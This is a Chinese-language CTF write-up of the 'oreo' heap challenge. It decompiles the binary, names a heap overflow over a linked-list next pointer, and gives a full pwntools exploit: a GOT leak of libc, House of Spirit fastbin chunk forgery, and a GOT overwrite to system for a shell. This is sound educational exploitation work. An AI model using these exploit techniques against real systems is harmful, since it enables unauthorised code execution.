32位程序,没开PIE #House Of Spirit
需要注意的是,该程序并没有进行 setvbuf 操作,因此在初次执行 io 函数时,会在堆上分配空间。
程序逻辑
1 unsigned int sub_804898D() 2 { 3 unsigned int v1; // [esp+1Ch] [ebp-Ch] 4 5 v1 = __readgsdword(0x14u); 6 puts("What would you like to do?\n"); 7 printf("%u. Add new rifle\n", 1); 8 printf("%u. Show added rifles\n", 2); 9 printf("%u. Order selected rifles\n", 3); 10 printf("%u. Leave a Message with your Order\n", 4); 11 printf("%u. Show current stats\n", 5); 12 printf("%u. Exit!\n", 6); 13 while ( 1 ) 14 { 15 switch ( sub_8048896() ) 16 { 17 case 1: 18 add_new(); 19 break; 20 case 2: 21 show_add(); 22 break; 23 case 3: 24 order(); 25 break; 26 case 4: 27 lea_msg(); 28 break; 29 case 5: 30 show_status(); 31 break; 32 case 6: 33 return __readgsdword(0x14u) ^ v1; 34 default: 35 continue; 36 } 37 } 38 }
这是一个枪支订购系统,添加枪支模块如下
1 unsigned int add_new() 2 { 3 char *v1; // [esp+18h] [ebp-10h] 4 unsigned int v2; // [esp+1Ch] [ebp-Ch] 5 6 v2 = __readgsdword(0x14u); 7 v1 = dword_804A288; 8 dword_804A288 = (char *)malloc(0x38u); 9 if ( dword_804A288 ) 10 { 11 *((_DWORD *)dword_804A288 + 13) = v1; 12 printf("Rifle name: "); 13 fgets(dword_804A288 + 25, 56, stdin); //溢出可以覆盖next指针 14 sub_80485EC(dword_804A288 + 25); 15 printf("Rifle description: "); 16 fgets(dword_804A288, 56, stdin); 17 sub_80485EC(dword_804A288); 18 ++dword_804A2A4; 19 } 20 else 21 { 22 puts("Something terrible happened!"); 23 } 24 return __readgsdword(0x14u) ^ v2; 25 }
我们可以看出如下结构体
1 00000000 rifle struc ; (sizeof=0x38, mappedto_5) 2 00000000 descript db 25 dup(?) 3 00000019 name db 27 dup(?) 4 00000034 next dd ? ; offset 5 00000038 rifle ends
问题在于读取的名字的长度过长,可以覆盖 next 指针以及后面堆块的数据。输入27+4字节即覆盖next指针。需要注意的是,这些枪支的大小都是在 fastbin 范围内的。
利用思路
基本利用思路如下
- 由于程序存在堆溢出漏洞,而且还可以控制 next 指针,我们可以直接控制 next 指针指向程序中 got 表的位置。当进行展示的时候,即可以输出对应的内容,这里同时需要确保假设对应地址为一个枪支结构体时,其 next 指针为 NULL。这里我采用 puts@got。通过这样的操作,我们就可以获得出 libc 基地址,以及 system 函数地址。
- 由于枪支结构体大小是 0x38 大小,所以其对应的 chunk 为 0x40。这里采用
house of sprit
的技术来返回 0x0804A2A8 处的 chunk,即留下的消息的指针。因此,我们需要设置 0x0804A2A4 处的内容为 0x40,即需要添加 0x40 支枪支,从而绕过大小检测。同时为了确保可以绕过 next chunk 的检测,这里我们编辑留下的消息。 - 在成功分配这样的 chunk 后,我们其实就有了一个任意地址修改的漏洞,这里我们可以选择修改一个合适的 got 项为 system 地址,从而获得 shell。
expolit
1 from pwn import * 2 sh=process('./oreo') 3 elf=ELF('./oreo') 4 libc=ELF('/lib/i386-linux-gnu/libc.so.6') 5 6 def add(des,name): 7 sh.sendline('1') 8 sh.sendline(name) 9 sh.sendline(des) 10 11 def show_rifle(): 12 sh.sendline('2') 13 14 def order(): 15 sh.sendline('3') 16 17 def msg(notice): 18 sh.sendline('4') 19 sh.sendline(notice) 20 21 puts_got=elf.got['puts'] 22 sscanf_got=elf.got['__isoc99_sscanf'] 23 24 payload='a'*27+p32(puts_got) 25 add('a'*25,payload) 26 show_rifle() 27 sh.recvuntil('a'*25) 28 sh.recvuntil('Description: ') 29 puts_adr=u32(sh.recvuntil('\n',drop=True)[:4]) 30 libc_base=puts_adr-libc.symbols['puts'] 31 system_adr=libc_base+libc.symbols['system'] 32 binsh_adr=libc_base+libc.search('/bin/sh').next() 33 print 'libc_base:'+hex(libc_base) 34 print 'puts_adr:'+hex(puts_adr) 35 print 'system_adr'+hex(system_adr) 36 print 'binsh_adr'+hex(binsh_adr) 37 38 oifle=1 39 while oifle<0x3f: 40 add('a'*25,'a'*27+p32(0)) 41 oifle+=1 42 43 payload='a'*27+p32(0x0804A2A8) 44 add('a'*25,payload) 45 46 payload='\x00'*0x20
#msg地址为0x0804A2C0
#0x0804A2C0-0x0804A2A8=0x18
#0x18+0x20+0x4+0x4=0x40 47 payload+=p32(0x40) #伪造下个堆的prev_size绕过检测 48 payload+=p32(0x20) 49 msg(payload) 50 #v40->next=chunk_0x0804A2A8 51 #free(v40) -> free(chunk_0x0804A2A8) 52 #fastbin 0x40: head->chunk_0x0804A2A8->v40->NULL 53 order() 54 sh.recvuntil('Okay order submitted!\n') 55 add(p32(sscanf_got),'a') #0x0804A2A8内容修改为sscanf_got 56 msg(p32(system_adr)) #修改0x0804A2A8处指针的内容,即修改sscanf_got的内容为system_adr 57 sh.sendline('/bin/sh\x00') 58 sh.interactive()